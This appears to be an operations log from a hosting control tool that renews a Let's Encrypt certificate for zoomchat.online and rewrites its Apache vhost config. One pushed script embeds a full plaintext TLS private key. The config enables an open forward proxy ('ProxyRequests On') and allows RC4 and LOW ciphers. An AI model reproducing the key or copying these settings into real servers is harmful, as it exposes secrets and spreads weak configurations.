MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 8eab3470a2365227821ae5b538c45e8a
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= 179d894ae3df656e5f7306cf6a24dfe2
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= 8dd0f9183bf5fca3b037c8b6e9bc7fc6
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= 88fd3d003dada60987cdbd7d39bad481
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= 998753e2cb33cab87d8cb0471a46db4b
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= 871e01cc22abafca329218d17ead1a20
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 961914e8ce9f9df4147aa40bc1a2f2e9
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= 9e11afd365c093fc111ce973d5b42650
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 0a69a2205d0c48306e3d4d038872ee2e
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= b0ec200ba16c7e508cb569ec91fe4cf3
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 549ba716ac2271cdd94a49d9a8ea1aff
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 4f6045dc2924aafa17265364e3c8abbf
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= d9171f9bf367ca3b72049a6ca5bd34f6
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= b2848b8bb734cc48a70d8a6a10b18f8a
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_city_us.conf)= a817883aea5be6c13fcdf818876f4d1a
MD5(/etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt)= 9b15d7623157e45f0f206b48778332d1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= af9b874e8438743080c8b2c287cd9aad
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= daacf88fade50e1d93627191031c2ed7
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/pjy_city_us.conf)= /etc/apache2/sites-available/pjy_city_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf




STDERR:
/tmp/pkp618618:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-26 14:47:04: Establishing a remote connection
2025-12-26 14:47:04: installid not present
2025-12-27 06:00:03: Establishing a connection
2025-12-27 06:00:04: Establishing a connection
2025-12-27 06:00:06: 

PUT: /tmp/pkp371200

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-27 06:00:07: 

chmod 755 /tmp/pkp371200; /tmp/pkp371200; rm /tmp/pkp371200

2025-12-27 06:00:07: 


1


2025-12-27 06:00:08: Establishing a connection
2025-12-27 06:00:10: 

PUT: /tmp/pkp951949

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4
cat > zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc


2025-12-27 06:00:11: 

chmod 755 /tmp/pkp951949; /tmp/pkp951949; rm /tmp/pkp951949

2025-12-27 06:00:11: 




2025-12-27 06:00:19: Establishing a connection
2025-12-27 06:00:20: 

PUT: /tmp/pkp410541

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4
rm zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc


2025-12-27 06:00:21: 

chmod 755 /tmp/pkp410541; /tmp/pkp410541; rm /tmp/pkp410541

2025-12-27 06:00:22: 




2025-12-27 06:00:22: Establishing a connection
2025-12-27 06:00:23: 

PUT: /tmp/pkp549656

#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt

cat > $temp_file <<'endmsg'
e6:00:1e:64:48:42:03:24:03:09:b8:81:33:98:64:25

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBiv8qJ1zIejUMZHqU91B/Sg4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI3MDUwMTQ4WhcNMjYwMzI3MDUwMTQ3WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCmglMA5SSW+f2p0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1
Gj7FrlGh9OfdWOanbj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd9
7nXeAVXK/n+VwRwJQeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kg
o9Bb446v0FJiYp7ZkuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+Vy
htbVqpzrmM6gbTMMOJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG
/CS5QWHHI8xiu8rJoLsLAuM1AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAC+o6alPADzhE3FEJu3T8kjE4phMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbXmS9nwAABAMARjBEAiAIP7Lqgs8AixnRojRntLA7hx05kFDXSMoeq9z+
wG7MCwIgJylvbYdXeyDcUhAkjh8BEf4L04q1VvWRxN4OyKTDoz0AdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZteZL27AAAEAwBGMEQCICQRAuWR
g9GhRpDo7ADhwJh+RdO/lzhPV2MtOr3a61TvAiB+NhfmT6chP6S3feJMx5He6UjO
yNURsoOIifnetoBNWTANBgkqhkiG9w0BAQsFAAOCAQEAHFPdrG05uHwZA64uvukk
jkOMty5xXNKCdiPblhIsv4hwVIFL5UBhe837Epe9/68fnt+iOrNHf6EjWMXg+N80
2CpA4fAHTFBYELFdrHjZu6XZUG3fiFBJgQ5nA+bk/yovj9mjZEQCIY7EIF+2m/SW
rf+FtCIO0FyppBHAAy7lCjPMGpBKVEPQjZHN18czIjJQNmqjv1fqplWFXGGu/ll6
EnOgo5+N9I3KOv1cX3D41kMle2087w2yYyZPoQTxezXJ/MIUgMXBnsTVXPMVU/GC
WfuVZZzx4tHXX3ssaaluEMHVFZZmU/turFRfLk8QzYBCdsBitEq/3ZPwXcG3Bdfv
Rw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCmglMA5SSW+f2p
0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1Gj7FrlGh9OfdWOan
bj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd97nXeAVXK/n+VwRwJ
QeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kgo9Bb446v0FJiYp7Z
kuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+VyhtbVqpzrmM6gbTMM
OJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG/CS5QWHHI8xiu8rJ
oLsLAuM1AgMBAAECggEAAVktapV/ribHWwUogd8fy79J9Wk5s6pOn/piWj9hUD6Q
0UfwHi44qhv2m+zPOkrFPyU/W7g7cqyeqH3KxZHzSbIkE90qNxvxn8WqKcKcIIMf
OtD5Y/KrGOsU8WxVXNuRwgmykDEZqNfNL7Alx11cOeiQtk8PoWuEhlX2k+Wsv0CS
eQywoKfQnTsuU0tl7ZixGhVIthkxCF7oqk0F8OjVmIsd/6mDxP+yzTXBcwivP3nz
lxtWyjiCn1SdPtoHfr2aE5dmhHKNMpxYPynF/4pD7ntw4QXDueLCVyn3TlDKLD5N
lljG4QQI+EKRhbJvfIIDugVvcsamT5FpjaYKGISsAQKBgQDf2FWeC+gytIP/xcY5
ChxXb02vrQbNjAbBIXXRUokkPyDvjXQWTS3o2hsX+ZJVd2dEqevBKWCvtmGYBpTw
cJ1BEC0UeQM41RRs8EtUn+gtFQPGyREJ1QOFowoxIWhTo1r/00GwQtdf1JkBSJGk
M4pyFyz55KV+i4lUVDH4e4UPNQKBgQC+bYUPuRshjun3Rk0fKpRAapH8Iv+Y1mj3
AZGF4NTgmv5Rs/Y4gHNiCMvIgZiDuaucn5/7C6UIglY4ZHhv5rtY+pGnghLHXGbo
Ano4FGWSCCYB9bSZfMO55cXEM/8nXq0Psj4iqgQGT/MSaQOEFJFbyZu+xCRvrKm9
0NbLwV0EAQKBgFZAwPTud6GaJ0bWSYRPHg6e59tqm7V2YF/o6cInwIqD/MfxxKqX
QLp52HjLhRSDtvohU6ORsxzh9Qckeh2P9zhL6GL8Ij6y9HTpvs0z9L3yXAssDPGx
7/J9mX7G9bFMv9LV73jguKbHf9GbyerwpUdDIOSFszNoxxkEfGDYD7SFAoGAGCJl
RNLe/2fPe0lrqNGKrIdVLTF6V3KFJxkJyn/uOvEp3k0CnbKZ7QjUWvshy0AS4ezR
J84YAnYSW19QbE4/3E0VfLddjerGGA2IU+cx4EosFv9+/hzz6XGXmQBGDEVRhbW/
bkFB9VLYqbKpgWnh6lIo7QqK26R0dtwq/PPqyAECgYB1OVqOwttvjGFPdyozz0Yr
a7a18LVeRAqHgHatvD17266NK/OM9haGVgHhUEZZwBQ8shhue9MKh4HsafRshNmS
nwR56KqHvuvC5/2HzTxqLvqdlbcGdF2Za1uYxWH3lI1o/C2trCIM+E1Pub/AJRCa
I/imWmG/liI6lszAEAnnUA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-27 06:00:24: 

chmod 755 /tmp/pkp549656; /tmp/pkp549656; rm /tmp/pkp549656

2025-12-27 06:00:24: 


dir=/etc/pki/tls/certs/


2025-12-27 06:00:24: 

PUT: /tmp/pkp213833

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-27 06:00:25: 

chmod 755 /tmp/pkp213833; /tmp/pkp213833; rm /tmp/pkp213833

2025-12-27 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 2236

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>

    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
 
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-27 06:00:25: 

PUT: /tmp/pkp665534

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2025-12-27 06:00:26: 

chmod 755 /tmp/pkp665534; /tmp/pkp665534; rm /tmp/pkp665534

2025-12-27 06:00:26: 




2025-12-27 06:00:26: 

PUT: /tmp/pkp323669

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-27 06:00:27: 

chmod 755 /tmp/pkp323669; /tmp/pkp323669; rm /tmp/pkp323669

2025-12-27 06:00:27: 


.


2025-12-27 06:00:27: Establishing a connection
2025-12-27 06:00:28: 

PUT: /tmp/pkp901386

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-27 06:00:30: 

chmod 755 /tmp/pkp901386; /tmp/pkp901386; rm /tmp/pkp901386

2025-12-27 06:00:30: 


[Sat Dec 27 06:00:30.234314 2025] [so:warn] [pid 2091667:tid 140636444432704] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
